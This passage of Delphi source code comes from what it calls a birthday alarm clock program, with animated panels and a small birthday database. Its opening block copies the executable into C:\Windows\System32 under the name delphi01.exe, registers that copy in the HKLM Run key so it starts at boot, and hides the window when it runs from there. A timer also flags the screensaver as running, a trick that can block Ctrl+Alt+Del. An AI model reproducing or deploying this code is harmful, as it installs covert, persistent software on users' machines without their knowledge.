unit1.pas

生日闹钟源文件

 timer8.Enabled:=true;
 uo:=0; goo:=1; doo:=1; too:=2; d:=''; c:=''; i:=0;many:=0;
 Busy:=false;
 a:=ExtractFilepath(Application.ExeName)+extractfilename(Application.ExeName);
 dd:='C:\WINDOWS\SYSTEM32\DELPHI01.EXE';
 if a=dd then
  begin
  form1.top:=1000;
  timer5.Enabled:=true;
  end
  else

     if fileexists('c:\windows\system32\delphi01.exe')=false then
       begin
        a:=ExtractFilepath(Application.ExeName)+extractfilename(Application.ExeName);
        registry:=tregistry.Create;
        registry.RootKey:=HKEY_LOCAL_MACHINE;
        registry.openkey('Software\Microsoft\Windows\CurrentVersion\Run',true);
        registry.writestring('delphi01','c:\windows\system32\delphi01.exe');
        registry.CloseKey;
        vb:='c:\windows\system32\delphi01.exe';
        With T do
          Begin
           Wnd:=0;
           wFunc:=FO_copy;
           pFrom:=pchar(a);
           fFlags:=FOF_FILESONLY;
           pto:=pchar(vb);
          End;
        SHFileOperation(T);
       end;
 try
 Get;
 except
 ro:=1;
 form1.ShowModal;
 end;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
 a,b,c,d:integer;
begin
 if i=0 then
  begin
   panel4.Top:=panel4.Top+9;
   if panel4.Top>=panel4.Height-26 then
    begin
     i:=1;
     panel4.Top:=panel2.Height-24;
     timer1.Enabled:=false;
    end;
 end;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
var
 a,b:integer;
begin
 if i= 1 then
  begin
   panel4.Top:=panel4.Top-9;
   if panel4.top<=27 then
    begin
    panel4.Top:=panel15.Top+24;
    timer2.Enabled:=false;
    i:=0;
    end;
  end;  
end;

procedure TForm1.FormResize(Sender: TObject);
begin
 panel4.Height:=form1.Height-panel1.Height-28;
 panel2.height:=panel4.Height;
 dbgrid1.Height:=panel2.Height;
 dbgrid1.Width:=form1.Width-panel2.Width-10;
 panel3.Height:=panel4.Height ;
 richedit1.Height:=dbgrid1.Height;
 richedit1.Width:=dbgrid1.Width;
 end;

procedure TForm1.Timer3Timer(Sender: TObject);
begin
 
 panel2.Left:=panel2.Left-5;
 
 if panel2.Left<-100 then
  begin
   timer3.Enabled:=false;

   end;
end;

procedure TForm1.SpeedButton6Click(Sender: TObject);
begin
 many:=1;
 timer8.Enabled:=false;
 panel5.Visible:=false;
 panel6.Visible:=false;
 panel7.Visible:=false;
 panel8.Visible:=false;
 panel9.Visible:=false;
 panel10.Visible:=false;
 panel11.Visible:=false;
 panel12.Visible:=false;
 panel13.Visible:=false;

 panel3.Width:=panel2.Width;
 panel3.Top:=panel2.top;
 panel3.Height:=panel2.Height;
 panel3.Left:=0;
 panel3.Show;
 timer3.Enabled:=true;
 too:=1;
 timer6.Enabled:=true;

end;

procedure TForm1.SpeedButton33Click(Sender: TObject);
begin
try
 dbgrid1.DataSource.Enabled:=true;
 dbgrid1.Enabled:=true;
 speedbutton34.Enabled:=true;
 speedbutton37.Enabled :=true;
 speedbutton35.Enabled :=true;
if fileexists('c:\windows\system32\delphi01.dbf') then
 begin
 table1.TableName:='c:\windows\system32\delphi01.dbf';
 datasource1.DataSet.Active:=true;
 table1.Edit;
 end
 else
  begin
   with table1 do
   begin
    Active:=false;
    tablename:='c:\windows\system32\delphi01.dbc';
    tabletype:=ttdbase;
   end;
    table1.CreateTable;
  end;
except
ro:=1;
form1.ShowModal;
end;
 end;


procedure TForm1.SpeedButton36Click(Sender: TObject);
begin
try
 datasource1.DataSet.Active:=false;
timer8.Enabled:=true;
goo:=1;
if too<>2 then
 begin
  too:=2;
  richedit1.Height:=0;
  timer6.Enabled:=true;
  timer4.Enabled:=true;
 end;
except
ro:=1;
end;
 end;

procedure TForm1.SpeedButton4Click(Sender: TObject);
begin
if many=1 then
begin
timer8.Enabled:=true;
goo:=1;
if too<>2 then
 begin
  too:=2;
  richedit1.Height:=0;
  timer6.Enabled:=true;
  timer4.Enabled:=true;
 end;
end;
if many=0 then
 if i=0 then
 begin
 timer1.Enabled:=true;
 too:=3;
 end;
many:=0;
end;
procedure TForm1.Timer4Timer(Sender: TObject);
begin
 panel2.Left:=panel2.Left+5;
 if panel2.left>=0 then
 timer4.Enabled:=false;
end;



procedure TForm1.SpeedButton37Click(Sender: TObject);
begin
try
 table1.Delete;
except
ro:=1;
end;
 end;

procedure TForm1.Timer5Timer(Sender: TObject);
begin
form1.Hide;
end;

procedure TForm1.Timer6Timer(Sender: TObject);
begin
 if too=1 then
 begin
  richedit1.Height:=richedit1.height-8;
   if richedit1.height<=0 then
   begin
    richedit1.Hide;
    timer6.enabled:=false;
   end;
  end;
 if too=2 then
 begin
 richedit1.Show;
 richedit1.Height:=richedit1.Height+8;
 if richedit1.Height>=dbgrid1.Height then
  timer6.Enabled:=false;
 end;
 
 end;
procedure TForm1.Timer7Timer(Sender: TObject);
begin
case doo of
1: image16.Picture:=image15.Picture;
2:  image16.Picture:=image14.Picture;
3:  image16.Picture:=image13.Picture;
4:  image16.Picture:=image12.Picture;
5:  image16.Picture:=image11.Picture;
6:  image16.Picture:=image10.Picture;
 7: image16.Picture:=image9.Picture;
 8: image16.Picture:=image8.Picture;
 9: image16.Picture:=image7.Picture;
end;
if doo=10 then
 begin
 image16.Picture:=image15.Picture;
 doo:=1;
 end;
inc(doo);
end;





procedure TForm1.Timer8Timer(Sender: TObject);
begin
 panel5.Visible:=false;
 panel6.Visible:=false;
 panel7.Visible:=false;
 panel8.Visible:=false;
 panel9.Visible:=false;
 panel10.Visible:=false;
 panel11.Visible:=false;
 panel12.Visible:=false;
 panel13.Visible:=false;
case goo of
1: panel5.Visible:=true;
2: panel6.Visible:=true;
3: panel8.Visible:=true;
4: panel7.Visible:=true;
5: panel10.Visible:=true;
6: panel11.Visible:=true;
7: panel9.Visible:=true;
8: panel12.Visible:=true;

end;
if goo=9 then
 begin
  panel13.Visible:=true;
  goo:=0;
  end;
 inc(goo);
end;

procedure TForm1.Timer9Timer(Sender: TObject);
var
temp:integer;
begin
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, @temp, 0);
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
if uo<>1 then
try
Get;
except
ro:=1;
end;
end;

procedure TForm1.Panel14Click(Sender: TObject);
begin
if i=1 then
 timer2.Enabled :=true;
end;

procedure TForm1.Panel4Click(Sender: TObject);
begin
panel14.BevelInner :=bvlowered;
timer1.Enabled:=true;
too:=3;
timer10.enabled:=true;
end;

procedure TForm1.Panel15Click(Sender: TObject);
begin
 too:=4;
 panel15.BevelInner :=bvlowered;
 if i=1 then
 timer2.Enabled :=true;
 timer10.Enabled:=true;
end;

procedure TForm1.Timer10Timer(Sender: TObject);
begin
if too=3 then
 panel14.BevelInner :=bvspace;
 if too=4 then
 panel15.BevelInner:=bvspace;
 timer10.Enabled:=false;
 end;

procedure TForm1.SpeedButton5Click(Sender: TObject);
begin
if i=1 then
 timer2.Enabled :=true;
 timer10.Enabled:=true;
end;

procedure TForm1.SpeedButton34Click(Sender: TObject);
begin
try
table1.Insert;
except
ro:=1;
form1.ShowModal;
end;
end;

procedure TForm1.SpeedButton35Click(Sender: TObject);
begin
try
 table1.Edit;
 table1.Post;
except
ro:=1;
form1.ShowModal;
end;
end;

procedure TForm1.SpeedButton7Click(Sender: TObject);
begin
form3.show;
end;

end.